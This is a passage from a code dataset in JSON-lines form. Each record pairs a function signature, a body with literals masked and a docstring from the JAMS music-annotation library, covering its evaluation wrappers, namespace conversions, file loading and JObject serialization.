jams.load('estimated.jams')\n    >>> # Select the first relevant annotations\n    >>> ref_ann = ref_jam.search(namespace='chord')[0]\n    >>> est_ann = est_jam.search(namespace='chord')[0]\n    >>> scores = jams.eval.chord(ref_ann, est_ann)", "id": "f11236:m3"}
{"signature": "def segment(ref, est, **kwargs):", "body": "namespace = '<STR_LIT>'<EOL>ref = coerce_annotation(ref, namespace)<EOL>est = coerce_annotation(est, namespace)<EOL>ref_interval, ref_value = ref.to_interval_values()<EOL>est_interval, est_value = est.to_interval_values()<EOL>return mir_eval.segment.evaluate(ref_interval, ref_value,<EOL>est_interval, est_value, **kwargs)<EOL>", "docstring": "r'''Segment evaluation\n\n    Parameters\n    ----------\n    ref : jams.Annotation\n        Reference annotation object\n    est : jams.Annotation\n        Estimated annotation object\n    kwargs\n        Additional keyword arguments\n\n    Returns\n    -------\n    scores : dict\n        Dictionary of scores, where the key is the metric name (str) and\n        the value is the (float) score achieved.\n\n    See Also\n    --------\n    mir_eval.segment.evaluate\n\n    Examples\n    --------\n    >>> # Load in the JAMS objects\n    >>> ref_jam = jams.load('reference.jams')\n    >>> est_jam = jams.load('estimated.jams')\n    >>> # Select the first relevant annotations\n    >>> ref_ann = ref_jam.search(namespace='segment_.*')[0]\n    >>> est_ann = est_jam.search(namespace='segment_.*')[0]\n    >>> scores = jams.eval.segment(ref_ann, est_ann)", "id": "f11236:m4"}
{"signature": "def hierarchy_flatten(annotation):", "body": "intervals, values = annotation.to_interval_values()<EOL>ordering = dict()<EOL>for interval, value in zip(intervals, values):<EOL><INDENT>level = value['<STR_LIT>']<EOL>if level not in ordering:<EOL><INDENT>ordering[level] = dict(intervals=list(), labels=list())<EOL><DEDENT>ordering[level]['<STR_LIT>'].append(interval)<EOL>ordering[level]['<STR_LIT>'].append(value['<STR_LIT:label>'])<EOL><DEDENT>levels = sorted(list(ordering.keys()))<EOL>hier_intervals = [ordering[level]['<STR_LIT>'] for level in levels]<EOL>hier_labels = [ordering[level]['<STR_LIT>'] for level in levels]<EOL>return hier_intervals, hier_labels<EOL>", "docstring": "Flatten a multi_segment annotation into mir_eval style.\n\n    Parameters\n    ----------\n    annotation : jams.Annotation\n        An annotation in the `multi_segment` namespace\n\n    Returns\n    -------\n    hier_intervalss : list\n        A list of lists of intervals, ordered by increasing specificity.\n\n    hier_labels : list\n        A list of lists of labels, ordered by increasing specificity.", "id": "f11236:m5"}
{"signature": "def hierarchy(ref, est, **kwargs):", "body": "namespace = '<STR_LIT>'<EOL>ref = coerce_annotation(ref, namespace)<EOL>est = coerce_annotation(est, namespace)<EOL>ref_hier, ref_hier_lab = hierarchy_flatten(ref)<EOL>est_hier, est_hier_lab = hierarchy_flatten(est)<EOL>return mir_eval.hierarchy.evaluate(ref_hier, ref_hier_lab,<EOL>est_hier, est_hier_lab,<EOL>**kwargs)<EOL>", "docstring": "r'''Multi-level segmentation evaluation\n\n    Parameters\n    ----------\n    ref : jams.Annotation\n        Reference annotation object\n    est : jams.Annotation\n        Estimated annotation object\n    kwargs\n        Additional keyword arguments\n\n    Returns\n    -------\n    scores : dict\n        Dictionary of scores, where the key is the metric name (str) and\n        the value is the (float) score achieved.\n\n    See Also\n    --------\n    mir_eval.hierarchy.evaluate\n\n    Examples\n    --------\n    >>> # Load in the JAMS objects\n    >>> ref_jam = jams.load('reference.jams')\n    >>> est_jam = jams.load('estimated.jams')\n    >>> # Select the first relevant annotations\n    >>> ref_ann = ref_jam.search(namespace='multi_segment')[0]\n    >>> est_ann = est_jam.search(namespace='multi_segment')[0]\n    >>> scores = jams.eval.hierarchy(ref_ann, est_ann)", "id": "f11236:m6"}
{"signature": "def tempo(ref, est, **kwargs):", "body": "ref = coerce_annotation(ref, '<STR_LIT>')<EOL>est = coerce_annotation(est, '<STR_LIT>')<EOL>ref_tempi = np.asarray([o.value for o in ref])<EOL>ref_weight = ref.data[<NUM_LIT:0>].confidence<EOL>est_tempi = np.asarray([o.value for o in est])<EOL>return mir_eval.tempo.evaluate(ref_tempi, ref_weight, est_tempi, **kwargs)<EOL>", "docstring": "r'''Tempo evaluation\n\n    Parameters\n    ----------\n    ref : jams.Annotation\n        Reference annotation object\n    est : jams.Annotation\n        Estimated annotation object\n    kwargs\n        Additional keyword arguments\n\n    Returns\n    -------\n    scores : dict\n        Dictionary of scores, where the key is the metric name (str) and\n        the value is the (float) score achieved.\n\n    See Also\n    --------\n    mir_eval.tempo.evaluate\n\n    Examples\n    --------\n    >>> # Load in the JAMS objects\n    >>> ref_jam = jams.load('reference.jams')\n    >>> est_jam = jams.load('estimated.jams')\n    >>> # Select the first relevant annotations\n    >>> ref_ann = ref_jam.search(namespace='tempo')[0]\n    >>> est_ann = est_jam.search(namespace='tempo')[0]\n    >>> scores = jams.eval.tempo(ref_ann, est_ann)", "id": "f11236:m7"}
{"signature": "def melody(ref, est, **kwargs):", "body": "namespace = '<STR_LIT>'<EOL>ref = coerce_annotation(ref, namespace)<EOL>est = coerce_annotation(est, namespace)<EOL>ref_times, ref_p = ref.to_event_values()<EOL>est_times, est_p = est.to_event_values()<EOL>ref_freq = np.asarray([p['<STR_LIT>'] * (-<NUM_LIT:1>)**(~p['<STR_LIT>']) for p in ref_p])<EOL>est_freq = np.asarray([p['<STR_LIT>'] * (-<NUM_LIT:1>)**(~p['<STR_LIT>']) for p in est_p])<EOL>return mir_eval.melody.evaluate(ref_times, ref_freq,<EOL>est_times, est_freq,<EOL>**kwargs)<EOL>", "docstring": "r'''Melody extraction evaluation\n\n    Parameters\n    ----------\n    ref : jams.Annotation\n        Reference annotation object\n    est : jams.Annotation\n        Estimated annotation object\n    kwargs\n        Additional keyword arguments\n\n    Returns\n    -------\n    scores : dict\n        Dictionary of scores, where the key is the metric name (str) and\n        the value is the (float) score achieved.\n\n    See Also\n    --------\n    mir_eval.melody.evaluate\n\n    Examples\n    --------\n    >>> # Load in the JAMS objects\n    >>> ref_jam = jams.load('reference.jams')\n    >>> est_jam = jams.load('estimated.jams')\n    >>> # Select the first relevant annotations\n    >>> ref_ann = ref_jam.search(namespace='pitch_contour')[0]\n    >>> est_ann = est_jam.search(namespace='pitch_contour')[0]\n    >>> scores = jams.eval.melody(ref_ann, est_ann)", "id": "f11236:m8"}
{"signature": "def pattern_to_mireval(ann):", "body": "<EOL>patterns = defaultdict(lambda: defaultdict(list))<EOL>for time, observation in zip(*ann.to_event_values()):<EOL><INDENT>pattern_id = observation['<STR_LIT>']<EOL>occurrence_id = observation['<STR_LIT>']<EOL>obs = (time, observation['<STR_LIT>'])<EOL>patterns[pattern_id][occurrence_id].append(obs)<EOL><DEDENT>return [list(_.values()) for _ in six.itervalues(patterns)]<EOL>", "docstring": "Convert a pattern_jku annotation object to mir_eval format.\n\n    Parameters\n    ----------\n    ann : jams.Annotation\n        Must have `namespace='pattern_jku'`\n\n    Returns\n    -------\n    patterns : list of list of tuples\n        - `patterns[x]` is a list containing all occurrences of pattern x\n\n        - `patterns[x][y]` is a list containing all notes for\n           occurrence y of pattern x\n\n        - `patterns[x][y][z]` contains a time-note tuple\n          `(time, midi note)`", "id": "f11236:m9"}
{"signature": "def pattern(ref, est, **kwargs):", "body": "namespace = '<STR_LIT>'<EOL>ref = coerce_annotation(ref, namespace)<EOL>est = coerce_annotation(est, namespace)<EOL>ref_patterns = pattern_to_mireval(ref)<EOL>est_patterns = pattern_to_mireval(est)<EOL>return mir_eval.pattern.evaluate(ref_patterns, est_patterns, **kwargs)<EOL>", "docstring": "r'''Pattern detection evaluation\n\n    Parameters\n    ----------\n    ref : jams.Annotation\n        Reference annotation object\n    est : jams.Annotation\n        Estimated annotation object\n    kwargs\n        Additional keyword arguments\n\n    Returns\n    -------\n    scores : dict\n        Dictionary of scores, where the key is the metric name (str) and\n        the value is the (float) score achieved.\n\n    See Also\n    --------\n    mir_eval.pattern.evaluate\n\n    Examples\n    --------\n    >>> # Load in the JAMS objects\n    >>> ref_jam = jams.load('reference.jams')\n    >>> est_jam = jams.load('estimated.jams')\n    >>> # Select the first relevant annotations\n    >>> ref_ann = ref_jam.search(namespace='pattern_jku')[0]\n    >>> est_ann = est_jam.search(namespace='pattern_jku')[0]\n    >>> scores = jams.eval.pattern(ref_ann, est_ann)", "id": "f11236:m10"}
{"signature": "def transcription(ref, est, **kwargs):", "body": "namespace = '<STR_LIT>'<EOL>ref = coerce_annotation(ref, namespace)<EOL>est = coerce_annotation(est, namespace)<EOL>ref_intervals, ref_p = ref.to_interval_values()<EOL>est_intervals, est_p = est.to_interval_values()<EOL>ref_pitches = np.asarray([p['<STR_LIT>'] * (-<NUM_LIT:1>)**(~p['<STR_LIT>']) for p in ref_p])<EOL>est_pitches = np.asarray([p['<STR_LIT>'] * (-<NUM_LIT:1>)**(~p['<STR_LIT>']) for p in est_p])<EOL>return mir_eval.transcription.evaluate(<EOL>ref_intervals, ref_pitches, est_intervals, est_pitches, **kwargs)<EOL>", "docstring": "r'''Note transcription evaluation\n\n    Parameters\n    ----------\n    ref : jams.Annotation\n        Reference annotation object\n    est : jams.Annotation\n        Estimated annotation object\n    kwargs\n        Additional keyword arguments\n\n    Returns\n    -------\n    scores : dict\n        Dictionary of scores, where the key is the metric name (str) and\n        the value is the (float) score achieved.\n\n    See Also\n    --------\n    mir_eval.transcription.evaluate\n\n    Examples\n    --------\n    >>> # Load in the JAMS objects\n    >>> ref_jam = jams.load('reference.jams')\n    >>> est_jam = jams.load('estimated.jams')\n    >>> # Select the first relevant annotations. You can use any annotation\n    >>> # type that can be converted to pitch_contour (such as pitch_midi)\n    >>> ref_ann = ref_jam.search(namespace='pitch_contour')[0]\n    >>> est_ann = est_jam.search(namespace='note_hz')[0]\n    >>> scores = jams.eval.transcription(ref_ann, est_ann)", "id": "f11236:m11"}
{"signature": "def _conversion(target, source):", "body": "def register(func):<EOL><INDENT>'''<STR_LIT>'''<EOL>__CONVERSION__[target][source] = func<EOL>return func<EOL><DEDENT>return register<EOL>", "docstring": "A decorator to register namespace conversions.\n\n    Usage\n    -----\n    >>> @conversion('tag_open', 'tag_.*')\n    ... def tag_to_open(annotation):\n    ...     annotation.namespace = 'tag_open'\n    ...     return annotation", "id": "f11238:m0"}
{"signature": "def convert(annotation, target_namespace):", "body": "<EOL>annotation.validate(strict=True)<EOL>if annotation.namespace == target_namespace:<EOL><INDENT>return annotation<EOL><DEDENT>if target_namespace in __CONVERSION__:<EOL><INDENT>annotation = deepcopy(annotation)<EOL>for source in __CONVERSION__[target_namespace]:<EOL><INDENT>if annotation.search(namespace=source):<EOL><INDENT>return __CONVERSION__[target_namespace][source](annotation)<EOL><DEDENT><DEDENT><DEDENT>raise NamespaceError('<STR_LIT>'<EOL>'<STR_LIT>'.format(annotation.namespace,<EOL>target_namespace))<EOL>", "docstring": "Convert a given annotation to the target namespace.\n\n    Parameters\n    ----------\n    annotation : jams.Annotation\n        An annotation object\n\n    target_namespace : str\n        The target namespace\n\n    Returns\n    -------\n    mapped_annotation : jams.Annotation\n        if `annotation` already belongs to `target_namespace`, then\n        it is returned directly.\n\n        otherwise, `annotation` is copied and automatically converted\n        to the target namespace.\n\n    Raises\n    ------\n    SchemaError\n        if the input annotation fails to validate\n\n    NamespaceError\n        if no conversion is possible\n\n    Examples\n    --------\n    Convert frequency measurements in Hz to MIDI\n\n    >>> ann_midi = jams.convert(ann_hz, 'note_midi')\n\n    And back to Hz\n\n    >>> ann_hz2 = jams.convert(ann_midi, 'note_hz')", "id": "f11238:m1"}
{"signature": "def can_convert(annotation, target_namespace):", "body": "<EOL>if annotation.namespace == target_namespace:<EOL><INDENT>return True<EOL><DEDENT>if target_namespace in __CONVERSION__:<EOL><INDENT>for source in __CONVERSION__[target_namespace]:<EOL><INDENT>if annotation.search(namespace=source):<EOL><INDENT>return True<EOL><DEDENT><DEDENT><DEDENT>return False<EOL>", "docstring": "Test if an annotation can be mapped to a target namespace\n\n    Parameters\n    ----------\n    annotation : jams.Annotation\n        An annotation object\n\n    target_namespace : str\n        The target namespace\n\n    Returns\n    -------\n    True\n        if `annotation` can be automatically converted to\n        `target_namespace`\n\n    False\n        otherwise", "id": "f11238:m2"}
{"signature": "@_conversion('<STR_LIT>', '<STR_LIT>')<EOL>def pitch_hz_to_contour(annotation):", "body": "annotation.namespace = '<STR_LIT>'<EOL>data = annotation.pop_data()<EOL>for obs in data:<EOL><INDENT>annotation.append(time=obs.time, duration=obs.duration,<EOL>confidence=obs.confidence,<EOL>value=dict(index=<NUM_LIT:0>,<EOL>frequency=np.abs(obs.value),<EOL>voiced=obs.value > <NUM_LIT:0>))<EOL><DEDENT>return annotation<EOL>", "docstring": "Convert a pitch_hz annotation to a contour", "id": "f11238:m3"}
{"signature": "@_conversion('<STR_LIT>', '<STR_LIT>')<EOL>def pitch_midi_to_contour(annotation):", "body": "annotation = pitch_midi_to_hz(annotation)<EOL>return pitch_hz_to_contour(annotation)<EOL>", "docstring": "Convert a pitch_hz annotation to a contour", "id": "f11238:m4"}
{"signature": "@_conversion('<STR_LIT>', '<STR_LIT>')<EOL>def note_midi_to_hz(annotation):", "body": "annotation.namespace = '<STR_LIT>'<EOL>data = annotation.pop_data()<EOL>for obs in data:<EOL><INDENT>annotation.append(time=obs.time, duration=obs.duration,<EOL>confidence=obs.confidence,<EOL>value=<NUM_LIT> * (<NUM_LIT>**((obs.value - <NUM_LIT>)/<NUM_LIT>)))<EOL><DEDENT>return annotation<EOL>", "docstring": "Convert a pitch_midi annotation to pitch_hz", "id": "f11238:m5"}
{"signature": "@_conversion('<STR_LIT>', '<STR_LIT>')<EOL>def note_hz_to_midi(annotation):", "body": "annotation.namespace = '<STR_LIT>'<EOL>data = annotation.pop_data()<EOL>for obs in data:<EOL><INDENT>annotation.append(time=obs.time, duration=obs.duration,<EOL>confidence=obs.confidence,<EOL>value=<NUM_LIT:12> * (np.log2(obs.value) - np.log2(<NUM_LIT>)) + <NUM_LIT>)<EOL><DEDENT>return annotation<EOL>", "docstring": "Convert a pitch_hz annotation to pitch_midi", "id": "f11238:m6"}
{"signature": "@_conversion('<STR_LIT>', '<STR_LIT>')<EOL>def pitch_midi_to_hz(annotation):", "body": "annotation.namespace = '<STR_LIT>'<EOL>data = annotation.pop_data()<EOL>for obs in data:<EOL><INDENT>annotation.append(time=obs.time, duration=obs.duration,<EOL>confidence=obs.confidence,<EOL>value=<NUM_LIT> * (<NUM_LIT>**((obs.value - <NUM_LIT>)/<NUM_LIT>)))<EOL><DEDENT>return annotation<EOL>", "docstring": "Convert a pitch_midi annotation to pitch_hz", "id": "f11238:m7"}
{"signature": "@_conversion('<STR_LIT>', '<STR_LIT>')<EOL>def pitch_hz_to_midi(annotation):", "body": "annotation.namespace = '<STR_LIT>'<EOL>data = annotation.pop_data()<EOL>for obs in data:<EOL><INDENT>annotation.append(time=obs.time, duration=obs.duration,<EOL>confidence=obs.confidence,<EOL>value=<NUM_LIT:12> * (np.log2(obs.value) - np.log2(<NUM_LIT>)) + <NUM_LIT>)<EOL><DEDENT>return annotation<EOL>", "docstring": "Convert a pitch_hz annotation to pitch_midi", "id": "f11238:m8"}
{"signature": "@_conversion('<STR_LIT>', '<STR_LIT>')<EOL>def segment_to_open(annotation):", "body": "annotation.namespace = '<STR_LIT>'<EOL>return annotation<EOL>", "docstring": "Convert any segmentation to open label space", "id": "f11238:m9"}
{"signature": "@_conversion('<STR_LIT>', '<STR_LIT>')<EOL>def tag_to_open(annotation):", "body": "annotation.namespace = '<STR_LIT>'<EOL>return annotation<EOL>", "docstring": "Convert any tag annotation to open label space", "id": "f11238:m10"}
{"signature": "@_conversion('<STR_LIT>', '<STR_LIT>')<EOL>def scaper_to_tag(annotation):", "body": "annotation.namespace = '<STR_LIT>'<EOL>data = annotation.pop_data()<EOL>for obs in data:<EOL><INDENT>annotation.append(time=obs.time, duration=obs.duration,<EOL>confidence=obs.confidence, value=obs.value['<STR_LIT:label>'])<EOL><DEDENT>return annotation<EOL>", "docstring": "Convert scaper annotations to tag_open", "id": "f11238:m11"}
{"signature": "@_conversion('<STR_LIT>', '<STR_LIT>')<EOL>def beat_position(annotation):", "body": "annotation.namespace = '<STR_LIT>'<EOL>data = annotation.pop_data()<EOL>for obs in data:<EOL><INDENT>annotation.append(time=obs.time, duration=obs.duration,<EOL>confidence=obs.confidence,<EOL>value=obs.value['<STR_LIT>'])<EOL><DEDENT>return annotation<EOL>", "docstring": "Convert beat_position to beat", "id": "f11238:m12"}
{"signature": "@_conversion('<STR_LIT>', '<STR_LIT>')<EOL>def chordh_to_chord(annotation):", "body": "annotation.namespace = '<STR_LIT>'<EOL>return annotation<EOL>", "docstring": "Convert Harte annotation to chord", "id": "f11238:m13"}
{"signature": "def deprecated(version, version_removed):", "body": "def __wrapper(func, *args, **kwargs):<EOL><INDENT>'''<STR_LIT>'''<EOL>code = six.get_function_code(func)<EOL>warnings.warn_explicit(<EOL>\"<STR_LIT>\"<EOL>\"<STR_LIT>\"<EOL>.format(func.__module__, func.__name__,<EOL>version, version_removed),<EOL>category=DeprecationWarning,<EOL>filename=code.co_filename,<EOL>lineno=code.co_firstlineno + <NUM_LIT:1><EOL>)<EOL>return func(*args, **kwargs)<EOL><DEDENT>return decorator(__wrapper)<EOL>", "docstring": "This is a decorator which can be used to mark functions\n    as deprecated.\n\n    It will result in a warning being emitted when the function is used.", "id": "f11239:m0"}
{"signature": "@contextlib.contextmanager<EOL>def _open(name_or_fdesc, mode='<STR_LIT:r>', fmt='<STR_LIT>'):", "body": "open_map = {'<STR_LIT>': open,<EOL>'<STR_LIT>': open,<EOL>'<STR_LIT>': gzip.open,<EOL>'<STR_LIT>': gzip.open}<EOL>if hasattr(name_or_fdesc, '<STR_LIT>') or hasattr(name_or_fdesc, '<STR_LIT>'):<EOL><INDENT>yield name_or_fdesc<EOL><DEDENT>elif isinstance(name_or_fdesc, six.string_types):<EOL><INDENT>if fmt == '<STR_LIT>':<EOL><INDENT>_, ext = os.path.splitext(name_or_fdesc)<EOL>ext = ext[<NUM_LIT:1>:]<EOL><DEDENT>else:<EOL><INDENT>ext = fmt<EOL><DEDENT>try:<EOL><INDENT>ext = ext.lower()<EOL>if ext in ['<STR_LIT>', '<STR_LIT>'] and '<STR_LIT:t>' not in mode:<EOL><INDENT>mode = '<STR_LIT>'.format(mode)<EOL><DEDENT>with open_map[ext](name_or_fdesc, mode=mode) as fdesc:<EOL><INDENT>yield fdesc<EOL><DEDENT><DEDENT>except KeyError:<EOL><INDENT>raise ParameterError('<STR_LIT>'<EOL>'<STR_LIT>'.format(ext))<EOL><DEDENT><DEDENT>else:<EOL><INDENT>raise ParameterError('<STR_LIT>'<EOL>'<STR_LIT>'.format(name_or_fdesc))<EOL><DEDENT>", "docstring": "An intelligent wrapper for ``open``.\n\n    Parameters\n    ----------\n    name_or_fdesc : string-type or open file descriptor\n        If a string type, refers to the path to a file on disk.\n\n        If an open file descriptor, it is returned as-is.\n\n    mode : string\n        The mode with which to open the file.\n        See ``open`` for details.\n\n    fmt : string ['auto', 'jams', 'json', 'jamz']\n        The encoding for the input/output stream.\n\n        If `auto`, the format is inferred from the filename extension.\n\n        Otherwise, use the specified coding.\n\n\n    See Also\n    --------\n    open\n    gzip.open", "id": "f11239:m1"}
{"signature": "def load(path_or_file, validate=True, strict=True, fmt='<STR_LIT>'):", "body": "with _open(path_or_file, mode='<STR_LIT:r>', fmt=fmt) as fdesc:<EOL><INDENT>jam = JAMS(**json.load(fdesc))<EOL><DEDENT>if validate:<EOL><INDENT>jam.validate(strict=strict)<EOL><DEDENT>return jam<EOL>", "docstring": "r\"\"\"Load a JAMS Annotation from a file.\n\n\n    Parameters\n    ----------\n    path_or_file : str or file-like\n        Path to the JAMS file to load\n        OR\n        An open file handle to load from.\n\n    validate : bool\n        Attempt to validate the JAMS object\n\n    strict : bool\n        if `validate == True`, enforce strict schema validation\n\n    fmt : str ['auto', 'jams', 'jamz']\n        The encoding format of the input\n\n        If `auto`, encoding is inferred from the file name.\n\n        If the input is an open file handle, `jams` encoding\n        is used.\n\n\n    Returns\n    -------\n    jam : JAMS\n        The loaded JAMS object\n\n\n    Raises\n    ------\n    SchemaError\n        if `validate == True`, `strict==True`, and validation fails\n\n\n    See also\n    --------\n    JAMS.validate\n    JAMS.save\n\n\n    Examples\n    --------\n    >>> # Load a jams object from a file name\n    >>> J = jams.load('data.jams')\n    >>> # Or from an open file descriptor\n    >>> with open('data.jams', 'r') as fdesc:\n    ...     J = jams.load(fdesc)\n    >>> # Non-strict validation\n    >>> J = jams.load('data.jams', strict=False)\n    >>> # No validation at all\n    >>> J = jams.load('data.jams', validate=False)", "id": "f11239:m2"}
{"signature": "def query_pop(query, prefix, sep='<STR_LIT:.>'):", "body": "terms = query.split(sep)<EOL>if terms[<NUM_LIT:0>] == prefix:<EOL><INDENT>terms = terms[<NUM_LIT:1>:]<EOL><DEDENT>return sep.join(terms)<EOL>", "docstring": "Pop a prefix from a query string.\n\n\n    Parameters\n    ----------\n    query : str\n        The query string\n\n    prefix : str\n        The prefix string to pop, if it exists\n\n    sep : str\n        The string to separate fields\n\n    Returns\n    -------\n    popped : str\n        `query` with a `prefix` removed from the front (if found)\n        or `query` if the prefix was not found\n\n    Examples\n    --------\n    >>> query_pop('Annotation.namespace', 'Annotation')\n    'namespace'\n    >>> query_pop('namespace', 'Annotation')\n    'namespace'", "id": "f11239:m3"}
{"signature": "def match_query(string, query):", "body": "if six.callable(query):<EOL><INDENT>return query(string)<EOL><DEDENT>elif (isinstance(query, six.string_types) and<EOL>isinstance(string, six.string_types)):<EOL><INDENT>return re.match(query, string) is not None<EOL><DEDENT>else:<EOL><INDENT>return query == string<EOL><DEDENT>", "docstring": "Test if a string matches a query.\n\n    Parameters\n    ----------\n    string : str\n        The string to test\n\n    query : string, callable, or object\n        Either a regular expression, callable function, or object.\n\n    Returns\n    -------\n    match : bool\n        `True` if:\n        - `query` is a callable and `query(string) == True`\n        - `query` is a regular expression and `re.match(query, string)`\n        - or `string == query` for any other query\n\n        `False` otherwise", "id": "f11239:m4"}
{"signature": "def serialize_obj(obj):", "body": "if isinstance(obj, np.integer):<EOL><INDENT>return int(obj)<EOL><DEDENT>elif isinstance(obj, np.floating):<EOL><INDENT>return float(obj)<EOL><DEDENT>elif isinstance(obj, np.ndarray):<EOL><INDENT>return obj.tolist()<EOL><DEDENT>elif isinstance(obj, list):<EOL><INDENT>return [serialize_obj(x) for x in obj]<EOL><DEDENT>elif isinstance(obj, Observation):<EOL><INDENT>return {k: serialize_obj(v) for k, v in six.iteritems(obj._asdict())}<EOL><DEDENT>return obj<EOL>", "docstring": "Custom serialization functionality for working with advanced data types.\n\n    - numpy arrays are converted to lists\n    - lists are recursively serialized element-wise", "id": "f11239:m5"}
{"signature": "def summary(obj, indent=<NUM_LIT:0>):", "body": "if hasattr(obj, '<STR_LIT>'):<EOL><INDENT>rep = obj.__summary__()<EOL><DEDENT>elif isinstance(obj, SortedKeyList):<EOL><INDENT>rep = '<STR_LIT>'.format(len(obj))<EOL><DEDENT>else:<EOL><INDENT>rep = repr(obj)<EOL><DEDENT>return rep.replace('<STR_LIT:\\n>', '<STR_LIT:\\n>' + '<STR_LIT:U+0020>' * indent)<EOL>", "docstring": "Helper function to format repr strings for JObjects and friends.\n\n    Parameters\n    ----------\n    obj\n        The object to repr\n\n    indent : int >= 0\n        indent each new line by `indent` spaces\n\n    Returns\n    -------\n    r : str\n        If `obj` has a `__summary__` method, it is used.\n\n        If `obj` is a `SortedKeyList`, then it returns a description\n        of the length of the list.\n\n        Otherwise, `repr(obj)`.", "id": "f11239:m6"}
{"signature": "def _get_divid(obj):", "body": "global __DIVID_COUNT__<EOL>__DIVID_COUNT__ += <NUM_LIT:1><EOL>return '<STR_LIT>'.format(id(obj), __DIVID_COUNT__)<EOL>", "docstring": "Static function to get a unique id for an object.\n    This is used in HTML rendering to ensure unique div ids for each call\n    to display an object", "id": "f11239:m8"}
{"signature": "def __init__(self, **kwargs):", "body": "super(JObject, self).__init__()<EOL>for name, value in six.iteritems(kwargs):<EOL><INDENT>setattr(self, name, value)<EOL><DEDENT>", "docstring": "Construct a new JObject\n\n        Parameters\n        ----------\n        kwargs\n            Each keyword argument becomes an attribute with the specified value\n\n        Examples\n        --------\n        >>> J = jams.JObject(foo=5)\n        >>> J.foo\n        5\n        >>> dict(J)\n        {'foo': 5}", "id": "f11239:c0:m0"}
{"signature": "@property<EOL><INDENT>def __schema__(self):<DEDENT>", "body": "return schema.JAMS_SCHEMA['<STR_LIT>'].get(self.type, None)<EOL>", "docstring": "The schema definition for this JObject, if it exists.\n\n        Returns\n        -------\n        schema : dict or None", "id": "f11239:c0:m1"}
{"signature": "@property<EOL><INDENT>def __json__(self):<DEDENT>", "body": "filtered_dict = dict()<EOL>for k, item in six.iteritems(self.__dict__):<EOL><INDENT>if k.startswith('<STR_LIT:_>'):<EOL><INDENT>continue<EOL><DEDENT>if hasattr(item, '<STR_LIT>'):<EOL><INDENT>filtered_dict[k] = item.__json__<EOL><DEDENT>else:<EOL><INDENT>filtered_dict[k] = serialize_obj(item)<EOL><DEDENT><DEDENT>return filtered_dict<EOL>", "docstring": "r\"\"\"Return the JObject as a set of native data types for serialization.\n\n        Note: attributes beginning with underscores are suppressed.", "id": "f11239:c0:m2"}
{"signature": "@classmethod<EOL><INDENT>def __json_init__(cls, **kwargs):<DEDENT>", "body": "return cls(**kwargs)<EOL>", "docstring": "Initialize the object from a dictionary of values", "id": "f11239:c0:m3"}
{"signature": "def __getitem__(self, key):", "body": "return self.__dict__[key]<EOL>", "docstring": "Dict-style interface", "id": "f11239:c0:m6"}
{"signature": "def __repr__(self):", "body": "indent = len(self.type) + <NUM_LIT:2><EOL>jstr = '<STR_LIT>' + '<STR_LIT:U+0020>' * indent<EOL>props = self._display_properties()<EOL>params = jstr.join('<STR_LIT>'.format(p, summary(self[p],<EOL>indent=indent))<EOL>for (p, dp) in props)<EOL>return '<STR_LIT>'.format(self.type, params)<EOL>", "docstring": "Render the object alongside its attributes.", "id": "f11239:c0:m10"}
{"signature": "def _display_properties(self):", "body": "return sorted([(k, k) for k in self.__dict__])<EOL>", "docstring": "Returns a list of tuples (key, display_name)\n        for properties of this object", "id": "f11239:c0:m11"}
{"signature": "def dumps(self, **kwargs):", "body": "return json.dumps(self.__json__, **kwargs)<EOL>", "docstring": "Serialize the JObject to a string.\n\n        Parameters\n        ----------\n        kwargs\n            Keyword arguments to json.dumps\n\n        Returns\n        -------\n        object_str : str\n            Serialized JObject\n\n        See Also\n        --------\n        json.dumps\n        loads\n\n        Examples\n        --------\n        >>> J = jams.JObject(foo=5, bar='baz')\n        >>> J.dumps()\n        '{\"foo\": 5, \"bar\": \"baz\"}'", "id": "f11239:c0:m15"}
{"signature": "def keys(self):", "body": "return self.__dict__.keys()<EOL>", "docstring": "Return a list of the attributes of the object.\n\n        Returns\n        -------\n        keys : list\n            The attributes of the object\n\n        Examples\n        --------\n        >>> J = jams.JObject(foo=5, bar='baz')\n        >>> J.keys()\n        ['foo', 'bar']", "id": "f11239:c0:m16"}
{"signature": "def update(self, **kwargs):", "body": "for name, value in six.iteritems(kwargs):<EOL><INDENT>setattr(self, name, value)<EOL><DEDENT>", "docstring": "Update the attributes of a JObject.\n\n        Parameters\n        ----------\n        kwargs\n            Keyword arguments of the form `attribute=new_value`\n\n        Examples\n        --------\n        >>> J = jams.JObject(foo=5)\n        >>> J.dumps()\n        '{\"foo\": 5}'\n        >>> J.update(bar='baz')\n        >>> J.dumps()\n        '{\"foo\": 5, \"bar\": \"baz\"}'", "id": "f11239:c0:m17"}
{"signature": "@property<EOL><INDENT>def type(self):<DEDENT>", "body": "return self.__class__.__name__<EOL>", "docstring": "The type (class name) of a derived JObject type", "id": "f11239:c0:m18"}
{"signature": "@classmethod<EOL><INDENT>def loads(cls, string):<DEDENT>", "body": "return cls.__json_init__(**json.loads(string))<EOL>", "docstring": "De-serialize a JObject\n\n        Parameters\n        ----------\n        string : str\n            A serialized (JSON string) JObject\n\n        Returns\n        -------\n        J : JObject\n            The input string reconstructed as a JObject\n\n        See Also\n        --------\n        json.loads\n        dumps\n\n        Examples\n        --------\n        >>> J = jams.JObject(foo=5, bar='baz')\n        >>> J.dumps()\n        '{\"foo\": 5, \"bar\": \"baz\"}'\n        >>> jams.JObject.loads(J.dumps())\n        <JObject foo, bar>", "id": "f11239:c0:m19"}
{"signature": "def search(self, **kwargs):", "body": "match = False<EOL>r_query = {}<EOL>myself = self.__class__.__name__<EOL>for k, value in six.iteritems(kwargs):<EOL><INDENT>k_pop = query_pop(k, myself)<EOL>if k_pop:<EOL><INDENT>r_query[k_pop] = value<EOL><DEDENT><DEDENT>if not r_query:<EOL><INDENT>return False<EOL><DEDENT>for key in r_query:<EOL><INDENT>if hasattr(self, key):<EOL><INDENT>match |= match_query(getattr(self, key), r_query[key])<EOL><DEDENT><DEDENT>if not match:<EOL><INDENT>for attr in dir(self):<EOL><INDENT>obj = getattr(self, attr)<EOL>if isinstance(obj, JObject):<EOL><INDENT>match |= obj.search(**r_query)<EOL><DEDENT><DEDENT><DEDENT>return match<EOL>", "docstring": "Query this object (and its descendants).\n\n        Parameters\n        ----------\n        kwargs\n            Each `(key, value)` pair encodes a search field in `key`\n            and a target value in `value`.\n\n            `key` must be a string, and should correspond to a property in\n            the JAMS object hierarchy, e.g., 'Annotation.namespace` or `email`\n\n            `value` must be either an object (tested for equality), a\n            string describing a search pattern (regular expression), or a\n            lambda function which evaluates to `True` if the candidate\n            object matches the search criteria and `False` otherwise.\n\n        Returns\n        -------\n        match : bool\n            `True` if any of the search keys match the specified value,\n            `False` otherwise, or if the search keys do not exist\n            within the object.\n\n        Examples\n        --------\n        >>> J = jams.JObject(foo=5, 